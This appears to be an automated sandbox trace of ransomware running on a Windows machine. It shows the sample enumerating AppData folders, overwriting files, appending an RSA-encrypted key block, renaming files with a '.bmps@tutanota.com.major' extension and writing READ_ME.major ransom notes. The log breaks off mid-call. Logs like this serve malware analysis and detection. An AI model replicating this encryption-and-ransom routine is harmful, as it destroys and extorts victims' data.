SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x80) returned 1 [0177.963] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0177.963] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1152) returned 1 [0177.963] ReadFile (in: hFile=0x80c, lpBuffer=0x58e898, nNumberOfBytesToRead=0x480, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesRead=0x2e3f9b4*=0x480, lpOverlapped=0x0) returned 1 [0177.995] SetFilePointer (in: hFile=0x80c, lDistanceToMove=-1152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.995] WriteFile (in: hFile=0x80c, lpBuffer=0x6590d8*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x480, lpOverlapped=0x0) returned 1 [0177.995] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x480 [0177.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.995] WriteFile (in: hFile=0x80c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0177.995] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0177.996] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0177.996] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jgZ5d6JmUCG0kARYTkNSLqLp0kbV2zlNQ/xywlDSBc50IIry88YfrO94pOUynIac\nns4z2Axot2JpgBUBBeclZsR3Nhii+YB74hPLbeOMOL/ILvexmm4yOF781EeZ6Vh4\nPSpUcjN9Z+6D8DuNvCLie92t3y+v0H7GqQOxxYzAU0Uirh2bNgixYmVnhh94WNGf\nbgdlsCxlmQVCly6QFems2h/2gJiqwGXPfJyo2Wbr6imTNEp2S/6SLYwd7rrxaqWD\nEj2Kf155000wLOUc7AKu9uDRYoVEecd6IW/0GgWbAVqrm0fr36XeHpWGwc64r9ir\ni78a+UQ8rysQ6gBSOsy0ag==\n", pcchString=0x2e3f9a8) returned 1 [0177.996] WriteFile (in: hFile=0x80c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0177.996] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.996] WriteFile (in: hFile=0x80c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.996] CloseHandle (hObject=0x80c) returned 1 [0177.996] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\acecache11.lst.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0177.998] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e338 [0177.998] SetLastError (dwErrCode=0x0) [0177.998] GetLastError () returned 0x0 [0177.998] SetLastError (dwErrCode=0x0) [0177.998] GetLastError () returned 0x0 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] FindNextFileW (in: hFindFile=0x58e338, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] GetLastError () returned 0x0 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] GetLastError () returned 0x0 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] FindNextFileW (in: hFindFile=0x58e338, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] GetLastError () returned 0x0 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] GetLastError () returned 0x0 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] SetLastError (dwErrCode=0x0) [0177.999] GetLastError () returned 0x0 [0177.999] SetLastError (dwErrCode=0x0) [0177.999] SetLastError (dwErrCode=0x0) [0177.999] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\user data\\dictionaries\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x810 [0178.000] WriteFile (in: hFile=0x810, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0178.001] CloseHandle (hObject=0x810) returned 1 [0178.001] FindNextFileW (in: hFindFile=0x58e338, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0178.001] SetLastError (dwErrCode=0x0) [0178.001] GetLastError () returned 0x0 [0178.001] SetLastError (dwErrCode=0x0) [0178.001] GetLastError () returned 0x0 [0178.001] SetLastError (dwErrCode=0x0) [0178.001] FindNextFileW (in: hFindFile=0x58e338, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0178.001] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e738 [0178.001] SetLastError (dwErrCode=0x12) [0178.001] GetLastError () returned 0x12 [0178.001] SetLastError (dwErrCode=0x12) [0178.001] GetLastError () returned 0x12 [0178.001] SetLastError (dwErrCode=0x12) [0178.002] FindNextFileW (in: hFindFile=0x58e738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] GetLastError () returned 0x12 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] GetLastError () returned 0x12 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] FindNextFileW (in: hFindFile=0x58e738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="data", cAlternateFileName="")) returned 1 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] GetLastError () returned 0x12 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] GetLastError () returned 0x12 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] SetLastError (dwErrCode=0x12) [0178.002] GetLastError () returned 0x12 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] GetLastError () returned 0x12 [0178.002] SetLastError (dwErrCode=0x12) [0178.002] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistore\\data\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814 [0178.004] WriteFile (in: hFile=0x814, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0178.005] CloseHandle (hObject=0x814) returned 1 [0178.005] FindNextFileW (in: hFindFile=0x58e738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0178.005] SetLastError (dwErrCode=0x0) [0178.005] GetLastError () returned 0x0 [0178.005] SetLastError (dwErrCode=0x0) [0178.005] GetLastError () returned 0x0 [0178.005] SetLastError (dwErrCode=0x0) [0178.005] FindNextFileW (in: hFindFile=0x58e738, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0178.006] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1a672446, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x21b7c734, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e0f8 [0178.006] SetLastError (dwErrCode=0x12) [0178.006] GetLastError () returned 0x12 [0178.006] SetLastError (dwErrCode=0x12) [0178.006] GetLastError () returned 0x12 [0178.006] SetLastError (dwErrCode=0x12) [0178.006] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1a672446, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x21b7c734, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0178.006] SetLastError (dwErrCode=0x12) [0178.006] GetLastError () returned 0x12 [0178.006] SetLastError (dwErrCode=0x12) [0178.006] GetLastError () returned 0x12 [0178.006] SetLastError (dwErrCode=0x12) [0178.006] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b7c734, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b7c734, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b7c734, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0178.006] SetLastError (dwErrCode=0x12) [0178.006] GetLastError () returned 0x12 [0178.006] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a541366, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1a5b3b2e, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="store.vol", cAlternateFileName="")) returned 1 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc120a166, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a4363d1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0178.007] SetLastError (dwErrCode=0x12) [0178.007] GetLastError () returned 0x12 [0178.007] SetLastError (dwErrCode=0x12) [0178.008] GetLastError () returned 0x12 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] GetLastError () returned 0x12 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] GetLastError () returned 0x12 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a62b13, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46a62b13, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x46a62b13, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] GetLastError () returned 0x12 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] GetLastError () returned 0x12 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USStmp.jtx", cAlternateFileName="")) returned 1 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] GetLastError () returned 0x12 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] GetLastError () returned 0x12 [0178.008] SetLastError (dwErrCode=0x12) [0178.008] FindNextFileW (in: hFindFile=0x58e0f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USStmp.jtx", cAlternateFileName="")) returned 0 [0178.008] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0178.008] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", dwFileAttributes=0x80) returned 1 [0178.010] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818 [0178.011] GetFileSizeEx (in: hFile=0x818, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3145728) returned 1 [0178.011] ReadFile (in: hFile=0x818, lpBuffer=0x3143020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3143020*, lpNumberOfBytesRead=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.127] SetFilePointer (in: hFile=0x818, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.127] WriteFile (in: hFile=0x818, lpBuffer=0x3451020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3451020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x300000, lpOverlapped=0x0) returned 1 [0178.159] SetFilePointer (in: hFile=0x818, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x300000 [0178.159] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.159] WriteFile (in: hFile=0x818, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.169] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0178.169] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0178.169] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0178.169] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oe+XK0tsmVQdRMpJcLq6EsJnOdv/ZcSrC0vVXSpS+pTzdkgnk7K67VSuejUCeNzi\nZRUi+N6PyQ/2W1ls9D8iWebnZASnjjgH5lJ8Tv72DnqafCCZXAxszfFIHoxkyvB/\nIU+wNj/DJufp5Nbaka7Vc9grId7x2hiHYOICnToYGNOc7RwH2udz2N96rWerHgXo\n2yoFBZQAu0AwSZdlHc/G4g1uZRTSFEE6J0AMyIl9EIZuCDbA3IhmLq/BRQDDSjqX\n5WR6he6RC4wH+jh4BusOythcyPWrCsAGlyY6mxyRvF6dMFsQI0UHl2f56bUtDEIH\n0p+pYwlIrxJZu4PoIgwtRw==\n", pcchString=0x2e3f9a8) returned 1 [0178.169] WriteFile (in: hFile=0x818, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0178.169] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0178.169] WriteFile (in: hFile=0x818, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0178.170] CloseHandle (hObject=0x818) returned 1 [0178.170] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0178.174] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, 